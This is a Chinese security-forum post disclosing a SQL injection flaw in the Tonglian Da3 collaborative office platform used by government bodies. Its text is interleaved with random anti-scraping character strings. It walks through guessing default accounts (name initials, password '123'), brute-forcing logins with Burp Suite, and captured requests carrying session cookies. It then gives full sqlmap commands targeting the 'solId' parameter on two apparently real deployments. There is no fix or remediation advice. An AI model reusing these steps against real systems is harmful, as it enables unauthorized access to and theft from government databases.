找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1645|回复: 0
打印 上一主题 下一主题

同联Da3协同办公平台前台通用sql injection漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:15:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

$ {; W, z4 t e- V7 h2 r
' Y4 S, F. t6 Y; B8 f8 k

* [& R9 ?% t+ n5 l( k- @" y

5 p- T2 m5 s9 h: @% |7 r: V D/ ] 平台简介: . U+ I2 \* {3 j/ Q, x$ _/ z

: u7 ?& I& o7 t% F, T0 K: M

- W# f" G7 x( @8 @1 }5 j! P  7 I( X6 p' `( ]% O% Q. ]

: A2 N; ~1 b7 S% s. n1 v

7 q5 A4 i) N# o3 q& Y1 y. w 北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
/ ^; u/ i3 [! ^" v- ~7 h$ ?同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
u1 e* u! @% H3 S, r同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献!% m( G- U- Y- p* f3 B

; g9 T' n7 d- M3 i

& j w2 I5 P1 w  9 p/ ~0 a3 W$ q5 o/ O2 f

0 ?! z5 J" U. t5 y$ y7 ?( L* ^

, o! E. }4 v2 }/ K) m% Y 由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址: 1 K9 D! s( s& J

6 @3 ?" w9 d& p- Z& R7 D# `9 T

4 l, _7 _ g1 n% f+ T   $ L9 k5 O, H+ ]" y

/ A8 R3 W% M$ j! J# {

x7 @8 z0 ?8 h- X- a5 ^ http://1.1.1.1:7197/cap-aco/#(案例2-)8 Y+ |7 p* T& f

, \% q" I! U" E" `; |3 ^

' e* w% R. }1 t& x- A http://www.XXOO.com (案例1-官网网站) ) ?* I& n7 o* v3 Q7 w0 W. b

: V% m" o: h- L: C6 j6 [( |4 v

: o! d' Z* e# @* b: O+ D  ' F5 r5 d$ t3 [5 v6 V) r6 ~. _

; D0 l, r0 x- w" h$ Q# z! Y( d

% m% U+ P! i2 Q1 q& U8 H5 K0 m, z 漏洞详情: ( V' O7 ^8 T$ K

. I0 c j$ q$ K( B2 i( [2 \

7 F9 ~7 O* D1 i4 {, J; [6 S% h2 n  初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试1 Y" p) I& Q2 b6 m6 v

% U" t5 d' Q# s# {5 V) _

, `3 J0 z" z$ ~% i5 i, O, Z      首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:4 G: K- S: D! B2 [: Y0 N

) s! }( |' ] W7 `/ s4 S1 U4 x5 o

# A C. x* a! {9 y   X0 Z8 W! K9 Z# O

3 Q& g, R- }; n" f

Z( R1 `# |+ F- ?( l  - m, c9 O# l1 k6 d* o3 Q

- i/ n9 p7 F9 x2 K

3 o6 U* N. h7 P+ _ status为302即表示破解成功,然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包,抓包的数据分别如下: # D. ?1 q+ U- s: N% G

# D2 U$ j5 A1 p0 B/ A

. E, b# u" J% P+ l 1、案例1-官方网站: D0 \- Q `8 F" E

( |' h3 ^, A5 S1 i" m ~/ e; C

5 i" K" R0 \3 j& s( B9 g GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1' A6 a: j7 h) [5 a/ J

/ }/ G H* |1 {; _) R

% V. J$ O$ i& X7 i Host: www.XXOO.com1 A8 w$ X1 m6 ]; P j; a' g

# {0 L. {- k6 H6 |! u; w4 N; P4 C, j

# {$ J4 E. k0 \ Proxy-Connection: Keep-Alive - b' T0 ]: f4 _0 t& t9 Q( J

5 Y3 G. b6 |7 S1 r f; Q0 _

: S. G/ A }# t: I5 ]2 F Accept: application/json, text/javascript, */*; q=0.01 9 C4 C' E% i0 z; w( V a

3 W* |( N+ d* B/ B( q

6 w- {7 } g. T4 l; A Accept-Language: zh-CN. h$ r$ q7 t' }* g, @4 B

2 A' R6 L8 k8 T7 e/ ?9 s5 ?

, P: _, w% y' f- [) B Content-Type: application/json ! s' p; h2 T0 t2 ~9 ?

. W3 u. Q0 ]0 K% u

9 ?- q" g1 n1 p, Y. a% y User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko & c: w. `% T7 T4 g9 ?

. ]. D, Y C ]6 r* R: o6 q' ~

8 K- l3 Q1 G9 G8 ^/ K5 \3 l4 R" r2 ? X-Requested-With: XMLHttpRequest x; H* b* @8 g* ^2 d. Y& ~

6 P% V, l6 i! [2 V: e

$ e! M, |" h1 H- M9 d Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002. n+ p( Z# {) Y" l, i

" o( N/ D8 x: w$ k3 }1 X4 ^

7 b& t& l$ u* p/ _5 D& g$ } Accept-Encoding: gzip, deflate, sdch 2 z0 C: D: Q$ C/ O. I0 v

3 x& T: ?# J! J( ]3 ^2 ^( ?

4 J" V- g' o ` B- K Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e6 ]$ \1 l2 b8 `4 i# j+ y& \4 B

8 _2 s$ s+ j7 {6 \5 H

+ x( @# I/ Z/ ^ 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为:sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: ) b6 C( |, I- m& \

5 F8 k2 X/ V$ _( D2 X! h4 [' F+ r% u

5 `* w% B- l% _0 M7 J/ Z9 a  5 @7 ^' K& @0 s8 ~8 G% f

0 S' i- X) E% }4 F2 S3 }5 [2 R

7 W' @& T1 E1 ^4 F Q/ i, K2 U   9 D, U/ ^1 m0 q+ }) a5 `! W1 L& e

( q: O5 Q3 S: [$ I

6 ^, l }# B8 Y+ f0 ^   , P# Y( l2 R5 n

9 f$ S# C; w- N1 j0 U' p1 I o- d

2 F$ A, S# Y- X1 E {3 }) q  ) e6 i- Q8 K, V+ }3 v) ]7 ~$ }

' S0 l& B: X( P8 S

0 H4 [/ `* w* Z9 |2 z4 ]6 X   7 ^# G6 C8 v( S) j

5 }+ e1 a$ I# R a3 @6 F

% p# c C4 j& ` 2、案例2-某天河云平台$ R: M! A1 {# k2 y: G

9 ^0 m- V4 Z4 f0 e- M3 }% u) \

& t4 `; R. X: ^7 ] GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1# K$ P4 W6 s8 h, T. E6 Y

7 b, c( }$ w' y0 T

% y6 S6 L( }% l8 _6 h9 x( c: M Host: 1.1.1.:7197 / B+ v8 {3 c3 H& W& A0 v7 `

8 L4 A( v7 ^, V$ z- \& F7 u' U

: q# ~' o8 f8 V# P% k Accept: application/json, text/javascript, */*; q=0.01. A; `$ X2 A: S* H X

1 d( V( N& \3 y9 l

1 u6 A' q1 z. m X-Requested-With: XMLHttpRequest 9 n2 P3 Q' A. x

- Q& i1 c" j1 }1 U, w7 F) T1 }

4 u- A2 L- x# k0 U+ r( \ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.06 W: z) @4 R- p" P

6 q; a0 Z6 G3 m3 ~- _# p

& S. w; |, a) J# z, P) j Content-Type: application/json ) H* X2 S( p+ m

E9 r6 U2 i4 J( {1 A9 O8 a

) B& N. |+ A. u Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=10080 F$ o& A4 v U& W3 Z* E

6 W* ]- H" w% i* P6 k

7 T& @( F, J" w+ T5 Q( F0 ^% G2 {0 m Accept-Language: zh-CN,zh;q=0.8 3 Q. A, g+ S2 |% m

r' P" k- A) q( b' N9 A q

' o: X; H2 g' M; Y% x1 k Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 ( ^; y3 w0 v7 ?: W0 m8 N- ~

$ ~( O* H* T' b+ ]. v

* W- V4 d% s" L5 f0 \. W0 c! ?- J+ O/ d Connection: close % P$ s V! i- {/ L

! K. j. [, q! I3 Q

9 p2 p& s2 R& Z 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为:sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:/ b% z1 A; D$ u% b

# x- o8 Z" D2 f8 p: S! ?

0 C2 T- ~2 u* q! K% N0 F1 O$ Q   2 p9 w# i' P# e2 v& R

6 \+ x$ O7 w) T j/ N6 A) L

' C: r+ C& E9 t; T7 N% m: X
$ z$ N- h2 o' e' r2 m

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表